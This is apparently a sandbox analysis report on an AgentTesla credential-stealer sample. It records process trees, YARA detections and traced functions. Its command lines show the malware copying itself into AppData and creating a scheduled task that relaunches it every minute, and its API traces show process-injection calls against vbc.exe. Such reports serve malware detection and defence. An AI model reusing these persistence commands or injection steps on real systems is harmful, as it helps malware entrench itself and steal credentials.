Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Imagebase:	0xc40000
File size:	2688096 bytes
MD5 hash:	B3A917344F5610BEEC562556F11300FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000000.363305097.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000002.00000000.363305097.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source: 00000002.00000000.363305097.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.537927671.0000000006AF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.537927671.0000000006AF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Target ID:	4
Start time:	17:19:28
Start date:	28/08/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd" /c mkdir "C:\Users\user\AppData\Roaming\fghn
Imagebase:	0xd90000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	5
Start time:	17:19:29
Start date:	28/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	6
Start time:	17:19:29
Start date:	28/08/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f
Imagebase:	0x7ff756d70000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	8
Start time:	17:19:30
Start date:	28/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	9
Start time:	17:19:30
Start date:	28/08/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd" /c copy "C:\Users\user\Desktop\pdP5Rv9pPW.exe" "C:\Users\user\AppData\Roaming\fghn\fghn.exe
Imagebase:	0xd90000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	10
Start time:	17:19:31
Start date:	28/08/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f
Imagebase:	0x200000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	11
Start time:	17:19:31
Start date:	28/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	12
Start time:	17:19:40
Start date:	28/08/2022
Path:	C:\Users\user\AppData\Roaming\excel\excel.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\excel\excel.exe"
Imagebase:	0x1260000
File size:	2688096 bytes
MD5 hash:	B3A917344F5610BEEC562556F11300FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 2%, Metadefender, Browse Detection: 0%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Target ID:	13
Start time:	17:19:41
Start date:	28/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	16
Start time:	17:19:49
Start date:	28/08/2022
Path:	C:\Users\user\AppData\Roaming\excel\excel.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\excel\excel.exe"
Imagebase:	0x1260000
File size:	2688096 bytes
MD5 hash:	B3A917344F5610BEEC562556F11300FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	17
Start time:	17:19:49
Start date:	28/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	21
Start time:	17:20:01
Start date:	28/08/2022
Path:	C:\Users\user\AppData\Roaming\fghn\fghn.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\fghn\fghn.exe
Imagebase:	0x170000
File size:	521216 bytes
MD5 hash:	18E913EC810A1131C23D6FEA7526C4F8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 51%, ReversingLabs

Show Windows behavior

Target ID:	23
Start time:	17:20:43
Start date:	28/08/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Imagebase:	0xc40000
File size:	2688096 bytes
MD5 hash:	B3A917344F5610BEEC562556F11300FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Target ID:	24
Start time:	17:20:47
Start date:	28/08/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd" /c mkdir "C:\Users\user\AppData\Roaming\fghn
Imagebase:	0xd90000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	25
Start time:	17:20:48
Start date:	28/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	26
Start time:	17:20:48
Start date:	28/08/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f
Imagebase:	0xd90000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	28
Start time:	17:20:50
Start date:	28/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	29
Start time:	17:20:50
Start date:	28/08/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd" /c copy "C:\Users\user\AppData\Roaming\fghn\fghn.exe" "C:\Users\user\AppData\Roaming\fghn\fghn.exe
Imagebase:	0xd90000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	30
Start time:	17:20:51
Start date:	28/08/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f
Imagebase:	0x200000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	31
Start time:	17:20:52
Start date:	28/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Execution Graph

Execution Coverage:	34.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	40.3%
Total number of Nodes:	77
Total number of Limit Nodes:	1

Executed Functions

Function 04ED6FE5 Relevance: 5.2, Strings: 1, Instructions: 3925
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

l@, xrefs: 04EDAE84

Memory Dump Source

Source File: 00000000.00000002.380895325.0000000004ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ed0000_pdP5Rv9pPW.jbxd

Similarity

API ID:
String ID: l@
API String ID: 0-4249425015
Opcode ID: 4fafe060537d5f0cce44cb501b3024915012508bd48dc62c8648bd3686c606f9
Instruction ID: 9aa14a1363ea0a861beaa68180f5dc11a2240566b385ec8d2b36d770004e4eb8
Opcode Fuzzy Hash: 4fafe060537d5f0cce44cb501b3024915012508bd48dc62c8648bd3686c606f9
Instruction Fuzzy Hash: 1D734B70E091188FCB54EF39E98969DBBB1FB49205F0145EAD44CA3754DB386E88CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 00D52C4D Relevance: 5.1, Instructions: 5099
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.374211806.0000000000D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_pdP5Rv9pPW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e1c3ed08e6ac427e5bd968e9982a63b6a6cc208ce88d6144fd27fcc6fd783b7
Instruction ID: c0c3cd4232eb10582d55586eb43aac87865974c5744bc2f10c437686bb4ac695
Opcode Fuzzy Hash: 4e1c3ed08e6ac427e5bd968e9982a63b6a6cc208ce88d6144fd27fcc6fd783b7
Instruction Fuzzy Hash: 7EA35A70E096188BCB54EF29DD85799BBB1FB49305F0045EAD448A3B54DF346E88CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 04EF5D48 Relevance: 5.0, Instructions: 4993
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.380992110.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_pdP5Rv9pPW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26102b660fc8de8ce293ed9f01ca5b1c2c2c332538ea0c2f9e166d081b494050
Instruction ID: 45eb1b3769476d25f17813a93dc85e50dfffc4d3e2958934a81ed4533f0b8963
Opcode Fuzzy Hash: 26102b660fc8de8ce293ed9f01ca5b1c2c2c332538ea0c2f9e166d081b494050
Instruction Fuzzy Hash: 60A3F970E191188FCB14EF29D9896ADB7B1FB89305F0045EAD44CA7B54DB386E88CF19

Uniqueness

Uniqueness Score: -1.00%

Function 04EE0040 Relevance: 4.7, Instructions: 4740
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.380942576.0000000004EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ee0000_pdP5Rv9pPW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe4f26e22c2c721c5618540bb7b21a49f48ffbd759d4486bf577c07fe20c34ad
Instruction ID: 60f21994205983000030d326ed65f42d74d35c1f3057eaf0b965ec137efce6bf
Opcode Fuzzy Hash: fe4f26e22c2c721c5618540bb7b21a49f48ffbd759d4486bf577c07fe20c34ad
Instruction Fuzzy Hash: 04A38170E042288FC759EF29DD856ADBBB1FB89305F0044EAD488A7755DB385E88CF46

Uniqueness

Uniqueness Score: -1.00%

Function 04EE5BC8 Relevance: 4.6, Instructions: 4618
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.380942576.0000000004EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ee0000_pdP5Rv9pPW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90bd0bb3c1dba39eead31ec7c8370dfa2cf57f195cd27cfbf4a52aec85ca6e60
Instruction ID: 1b99a3b80faebf18901641764350d915681d2da8f1dc96fd323ad3d51edace0b
Opcode Fuzzy Hash: 90bd0bb3c1dba39eead31ec7c8370dfa2cf57f195cd27cfbf4a52aec85ca6e60
Instruction Fuzzy Hash: A8A36F70E44128CFC759EF29D9896ACBBB2FB49301F0045EAD488A7715DB386E98CF45

Uniqueness

Uniqueness Score: -1.00%

Function 04EB5CF0 Relevance: 4.4, Instructions: 4387
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.380751416.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4eb0000_pdP5Rv9pPW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53cec318e39947ff80ecc5bc2bb76ff9029adb833d3adc527324fd66e2b712eb
Instruction ID: 3a0dcce0264a7e9c79aa7f554e421467c2342c759dc27d4091a3bb67d95ddc41
Opcode Fuzzy Hash: 53cec318e39947ff80ecc5bc2bb76ff9029adb833d3adc527324fd66e2b712eb
Instruction Fuzzy Hash: 7A934E70E04228CFCB99EF29D9956ADBBB2FB49301F0044E9D488A7715DB346E88CF45

Uniqueness

Uniqueness Score: -1.00%

Function 04EB0040 Relevance: 4.3, Instructions: 4309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.380751416.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4eb0000_pdP5Rv9pPW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daab2b3a4fd2bff44e2a8d5d0be6e781fdcc79512de8e203765c718710c2fce8
Instruction ID: 26bea5f13c320db5db97e366487129d190e8b6070216d5de6fb48ad2512d63ce
Opcode Fuzzy Hash: daab2b3a4fd2bff44e2a8d5d0be6e781fdcc79512de8e203765c718710c2fce8
Instruction Fuzzy Hash: 12934D70E04128CFCB59EF29D9856ADBBB1FB89305F0045E9D488A3755DB386E88CF46

Uniqueness

Uniqueness Score: -1.00%

Function 04ECAF60 Relevance: 4.2, Instructions: 4211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.380799620.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_pdP5Rv9pPW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48e2d121749042f059f2dbb81c31f75960728c6da0ed21b70f8373b1a2f67e62
Instruction ID: 0cc09b9439fe54b51dfe839d977ab6bb66199bcc07794cf3548a5e947c2b4297
Opcode Fuzzy Hash: 48e2d121749042f059f2dbb81c31f75960728c6da0ed21b70f8373b1a2f67e62
Instruction Fuzzy Hash: 8C835B70A052188BCB54EF39DD8979EB7B2FB89304F0044AAD488A3754DF396D99CF19

Uniqueness

Uniqueness Score: -1.00%

Function 04ECAF51 Relevance: 4.2, Instructions: 4188
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.380799620.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_pdP5Rv9pPW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54544457bd500011631aabe3d426db7d8aaa782a9b2dc42f3e6c258306c00c6b
Instruction ID: 12cc66aa728d8e3fa1b913d778ad1c46a444b09509c4882ea5a1054d8627a080
Opcode Fuzzy Hash: 54544457bd500011631aabe3d426db7d8aaa782a9b2dc42f3e6c258306c00c6b
Instruction Fuzzy Hash: 37835B70A052188BCB54EF39DD8979EB7B2FB89304F0044AAD488A3754DF396D99CF19

Uniqueness

Uniqueness Score: -1.00%

Function 00D5F968 Relevance: 1.8, APIs: 1, Instructions: 261processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserA.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?), ref: 00D5FBF8

Memory Dump Source

Source File: 00000000.00000002.374211806.0000000000D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_pdP5Rv9pPW.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: 3035c9768e64a7384c8bf9820f0408273756ec9eb90f1438ba62cca404b4e165
Instruction ID: c739b88ca53d92d79460d4b67fcfe5d7dac240b589b603ab1ff426bbb7cef65e
Opcode Fuzzy Hash: 3035c9768e64a7384c8bf9820f0408273756ec9eb90f1438ba62cca404b4e165
Instruction Fuzzy Hash: 1BA13971E002199FDF10CF68C9817EDBBB2EB49315F048169EC19EB291DB749989CF92

Uniqueness

Uniqueness Score: -1.00%

Function 04ED0006 Relevance: 1.6, Instructions: 1556COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.380895325.0000000004ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ed0000_pdP5Rv9pPW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3de59ba780a4f3bd58b43f4fd68f6d71cd452d89bf2175e481cc8ec3ba661cd
Instruction ID: 3a5749201b7b3cb02d0603add573772fd1fa40ccb2b3db00f51d8e34af99fd8d
Opcode Fuzzy Hash: d3de59ba780a4f3bd58b43f4fd68f6d71cd452d89bf2175e481cc8ec3ba661cd
Instruction Fuzzy Hash: F2F26F70E45228CFCB19EF29E98969CBBB1FB49301F0085E9D488A7754DB346E88CF55

Uniqueness

Uniqueness Score: -1.00%

Function 04EE0006 Relevance: 1.5, Instructions: 1529COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.380942576.0000000004EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ee0000_pdP5Rv9pPW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72106d0aa57f59042ba66e49c9d7cb6d1eacf4be6438cab02bebb52fa095cd49
Instruction ID: 7879dde26b392d3b25afe8e77ecabb240a49b79dd9d5571181fa4d7458f757c4
Opcode Fuzzy Hash: 72106d0aa57f59042ba66e49c9d7cb6d1eacf4be6438cab02bebb52fa095cd49
Instruction Fuzzy Hash: 47E25070E44128CFCB58EF2AE9856ADBBB1FB49301F0045EAD488A7755DB346E88CF45

Uniqueness

Uniqueness Score: -1.00%

Function 027D0394 Relevance: 2.5, Strings: 2, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

xql, xrefs: 027D03BA
xql, xrefs: 027D03C4

Memory Dump Source

Source File: 00000000.00000002.374552667.00000000027D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_27d0000_pdP5Rv9pPW.jbxd

Similarity

API ID:
String ID: xql$xql
API String ID: 0-2396326202
Opcode ID: 5226fb1ba8c08546ce7b889373262d5c50affd561dff4ea7ef71fa8bb0f7a22f
Instruction ID: d6071f83c8cd151edfdafdbd9872ae44bc4d58d43ffeba5cf759b8ad9343ad04
Opcode Fuzzy Hash: 5226fb1ba8c08546ce7b889373262d5c50affd561dff4ea7ef71fa8bb0f7a22f
Instruction Fuzzy Hash: 6CF0A421B0D3924FC727462C581116E7B721ED3114B1D42FBC881DFB96DA308C4AC3A7

Uniqueness

Uniqueness Score: -1.00%

Function 027D0257 Relevance: 2.5, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

xql, xrefs: 027D0272
xql, xrefs: 027D027C

Memory Dump Source

Source File: 00000000.00000002.374552667.00000000027D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_27d0000_pdP5Rv9pPW.jbxd

Similarity

API ID:
String ID: xql$xql
API String ID: 0-2396326202
Opcode ID: f910e5f0b5ff1eeaa6fbb10dd4a4ccc1269cc14cc2e2b21a959493e9bac69f12
Instruction ID: 8ec861bb83c52e01714ab2b8650f2bd7e814f5fe7b638143e4df5fe198d8c4df
Opcode Fuzzy Hash: f910e5f0b5ff1eeaa6fbb10dd4a4ccc1269cc14cc2e2b21a959493e9bac69f12
Instruction Fuzzy Hash: 4AF09021B0E3924FD767426C492427B7BB24FC7220B1E82FA8481CBA55DA359C42C3A7

Uniqueness

Uniqueness Score: -1.00%

Function 04EBC3F2 Relevance: 1.9, APIs: 1, Instructions: 449
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 04EBC785

Memory Dump Source

Source File: 00000000.00000002.380751416.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4eb0000_pdP5Rv9pPW.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 3d247583952612620904c7b6b3065b94fcca794d95c3ae367380e11b88a6ccbc
Instruction ID: 744408dc261c2f35f7f7bb41e8f78a849bd75e37af3355e62f4c6645cad20065
Opcode Fuzzy Hash: 3d247583952612620904c7b6b3065b94fcca794d95c3ae367380e11b88a6ccbc
Instruction Fuzzy Hash: AB3166B19043889FCB01CFA9C884BDEBBF4EF4A314F14846AE858A7251D338A545CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04EBC3A0 Relevance: 1.9, APIs: 1, Instructions: 432COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.380751416.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4eb0000_pdP5Rv9pPW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e05ac67cf9b24668d6d9d70618a7b9c18d9609532dd7d224e7164670a4327bd0
Instruction ID: 3f6cf0436fe00195ed8e02c227a12ca75f0ee831c67f603880060e2d6a432283
Opcode Fuzzy Hash: e05ac67cf9b24668d6d9d70618a7b9c18d9609532dd7d224e7164670a4327bd0
Instruction Fuzzy Hash: 7E41E6B180D3889FCB02DF68C954ADEBFF0AF4A314F05449BD495E7292D734A944CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 04EBC6F8 Relevance: 1.6, APIs: 1, Instructions: 65injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 04EBC785

Memory Dump Source

Source File: 00000000.00000002.380751416.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4eb0000_pdP5Rv9pPW.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 94193da8f51d97ae68aa3c9544cfcb8bc4544ce50e313bf9b056b0ca5ad4be25
Instruction ID: 629c03fb587104880c33e8df8d3d2bdb38f8b6f24f4110f952dd31085c90d9a1
Opcode Fuzzy Hash: 94193da8f51d97ae68aa3c9544cfcb8bc4544ce50e313bf9b056b0ca5ad4be25
Instruction Fuzzy Hash: AA21E6B5900359DFDB10CFAAC885BDEBBF4FF49314F10842AE958A7240D774A554CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5FD38 Relevance: 1.6, APIs: 1, Instructions: 58threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 00D5FDAF

Memory Dump Source

Source File: 00000000.00000002.374211806.0000000000D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_pdP5Rv9pPW.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: c046ac4265a72a62d3449fbb102ee30f154474cdc661cd4adff923c927e18ffa
Instruction ID: 7a92ef6a18166cff7cf874f2f2570f198e0999025f7075ee839f26e145296c2e
Opcode Fuzzy Hash: c046ac4265a72a62d3449fbb102ee30f154474cdc661cd4adff923c927e18ffa
Instruction Fuzzy Hash: 482117B1D002199FCB10CF9AC9857DEFBF4FB49325F14812AE818A7340D778A9448FA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5FDF8 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00D5FE6E

Memory Dump Source

Source File: 00000000.00000002.374211806.0000000000D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_pdP5Rv9pPW.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 256150a304436010335843aeb9372eb233c0f03c68e23727f2b901f3dce0379f
Instruction ID: e0aadd8a8ce3e7504865db15731611df2e10881105b47dd7805e0818440d9bbd
Opcode Fuzzy Hash: 256150a304436010335843aeb9372eb233c0f03c68e23727f2b901f3dce0379f
Instruction Fuzzy Hash: F021EAB1900259DFCB10CF9AC944BDEFBF4FB48324F148429E958A7251D774A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5FEB8 Relevance: 1.5, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00D5FF23

Memory Dump Source

Source File: 00000000.00000002.374211806.0000000000D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_pdP5Rv9pPW.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a83552ab9a415a2388b291ab5350eb82471ba51e49f5038439af43ec0bb9b5d3
Instruction ID: 650ea2066af750183d291dcafd424f1cff4f53f7306d1c62fb7d528d05fd805d
